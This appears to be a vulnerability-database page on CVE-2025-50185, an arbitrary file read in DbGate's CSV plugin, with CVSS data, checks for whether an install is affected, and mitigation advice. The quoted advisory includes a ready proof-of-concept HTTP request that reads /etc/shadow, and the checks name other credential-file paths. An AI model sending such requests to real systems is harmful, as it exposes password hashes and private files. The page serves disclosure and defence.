CVE-2025-50185
Official description Straight from the sourceThe vendor's or NVD's own wording, published unedited. Authoritative, but often terse — it says what broke, rarely what to do.
NVD · uneditedDbGate is cross-platform database manager. In versions 6.6.0 and below, DbGate allows unauthorized file access due to insufficient validation of file paths and types. A user with application-level access can retrieve data from arbitrary files on the system, regardless of their location or file type. The plugin fails to enforce proper checks on content type and file extension before reading a file. As a result, even sensitive files accessible only to the root user can be read through the application interface. There is currently no fix for this issue. ``` POST /runners/load-reader HTTP/1.1 Host: <REPLACE ME> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:138.0) Gecko/20100101 Firefox/138.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: <REPLACE ME> Content-Type: application/json Authorization: Bearer <REPLACE ME> Content-Length: 127 Origin: http://192.168.124.119:3000 Connection: keep-alive Cookie: <REPLACE ME> Priority: u=0 Cache-Control: max-age=0 {"functionName":"reader@dbgate-plugin-csv","props":{"fileName":"/etc\/shadow","limitRows":100}} ``` The request payload:  Lines of the file being returned: 
Technical summary Written by usOur analysis, written from the advisory, the CVSS vector and the affected-version data. It adds context the advisory leaves out, and never invents facts that are not in the source.
dbcve analysis · high confidenceDbGate versions 6.6.0 and below contain a local file inclusion vulnerability in the dbgate-plugin-csv plugin. The /runners/load-reader endpoint accepts a fileName parameter without validating the file path, allowing any authenticated user to read arbitrary files on the system by specifying absolute paths like /etc/shadow. The plugin fails to enforce proper path traversal checks, content type validation, or restrict file access to expected directories.
Verify against the referenced sources before acting — the references below are authoritative for this CVE, this summary is not.
CVSS breakdown How the score is builtThe industry scoring standard. It rates how the flaw is reached, what it takes to exploit, and what an attacker gains — the score is derived from those, not the other way round.
From the vector- Attack vector
- Network
- Complexity
- Low
- Privileges
- Low
- Authentication
- X
- User interaction
- None
- Scope
- X
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Am I affected? How to checkSteps we derive from the advisory and the affected-version data, so you can decide whether this CVE reaches your setup. They are a guide, not a scan — your own configuration is the authority.
dbcve checksWork through these to decide whether this CVE applies to you.
-
Identify DbGate versionCheck the installed DbGate version via package.json, the application About page, or by running 'dbgate --version' if CLI is availableAffected if Version is 6.6.0 or below (any version in the 6.x line up to 6.6.0)
-
Verify dbgate-plugin-csv plugin is installedInspect the plugins configuration or package list to confirm dbgate-plugin-csv is present and loadedAffected if The dbgate-plugin-csv plugin is installed and enabled in the DbGate configuration
-
Confirm /runners/load-reader endpoint is accessibleCheck if the application exposes the /runners/load-reader API endpoint by reviewing routing configuration or testing the endpoint with a basic requestAffected if The endpoint is exposed and accepts requests (regardless of authentication status)
-
Review access logs for suspicious file read attemptsExamine application and web server logs for requests to /runners/load-reader that include unusual file paths such as /etc/passwd, /etc/shadow, or Windows equivalents like C:\Windows\System32\config\samAffected if Logs show requests with absolute file paths or path traversal patterns targeting system files outside expected directories
You are affected if DbGate version is 6.6.0 or below, the dbgate-plugin-csv plugin is enabled, and the /runners/load-reader endpoint is accessible to your users.
Generated from the published advisory. Verify against your own configuration.
Remediation Closing itWhat it takes to close this. Where a vendor fix exists we point at it; where none exists we say so plainly, and can build one. Effort estimates are scoped from the advisory, not from your codebase.
dbcve · scopedUntil an official patch is released, restrict application access to trusted users only and consider network-level filtering to limit exposure. Monitor access logs for suspicious file read requests targeting system files.
- Implement network-level segmentation to restrict access to the DbGate application to only trusted IP addresses or VPN
- If DbGate is exposed via web, place it behind a reverse proxy with authentication (e.g., OAuth2, LDAP) to ensure only authorized users can access the application
- Apply least-privilege principles: run the DbGate service with a dedicated low-privilege user that has minimal file system access
- Configure container/runtime-level restrictions using seccomp, AppArmor, or SELinux to limit file system read access for the DbGate process
- Monitor and audit all requests to /runners/load-reader endpoints for suspicious file path access patterns
- Consider disabling the CSV plugin if not required to reduce attack surface
Generated from the published advisory — verify against the referenced sources before acting.
- Consultation3.0 h
- Implementation12.0 h
- Testing6.0 h
- Review / QA3.0 h
An estimate, not a bill — we confirm scope with you before any work starts. Need it this week? Rush from $6,720.
Scan for this in your stack
Free · runs locallyCheck whether your project pulls in CVE-2025-50185 — or any other known-vulnerable package — straight from your lock files. Free and open source; it runs locally and uploads nothing.
References Go to the primary sourcePrimary sources — vendor advisories, patches and trackers. Where our summary and a reference disagree, the reference wins.
Primary sourcesPractitioner notes
ContributedPeer-ranked notes from engineers who’ve handled CVE-2025-50185 in production — separate from our analysis above.
The advisory tells you what broke. It rarely tells you what actually worked. If you’ve dealt with this one, that detail is what the next engineer is searching for.
- The version that genuinely resolved it — not the one the vendor claimed
- A config change or rule that shut the vector down
- A gotcha in the upgrade path that cost you an afternoon
No notes yet
Be the first to add a field note for this CVE — a mitigation you’ve verified, a version caveat, or a link to a working fix. Sign in above to contribute.
A place for practitioners to share what actually worked: a mitigation you’ve tested, a configuration change, a version- or environment-specific caveat, or a link to a verified patch. The most useful notes rise to the top as peers upvote them, so the signal stays high.
- Verified mitigations, workarounds, and config changes
- Version or environment caveats, and links to real fixes
- No weaponised exploit code, or anything meant to cause harm
- No spam, self-promotion, credentials, or personal data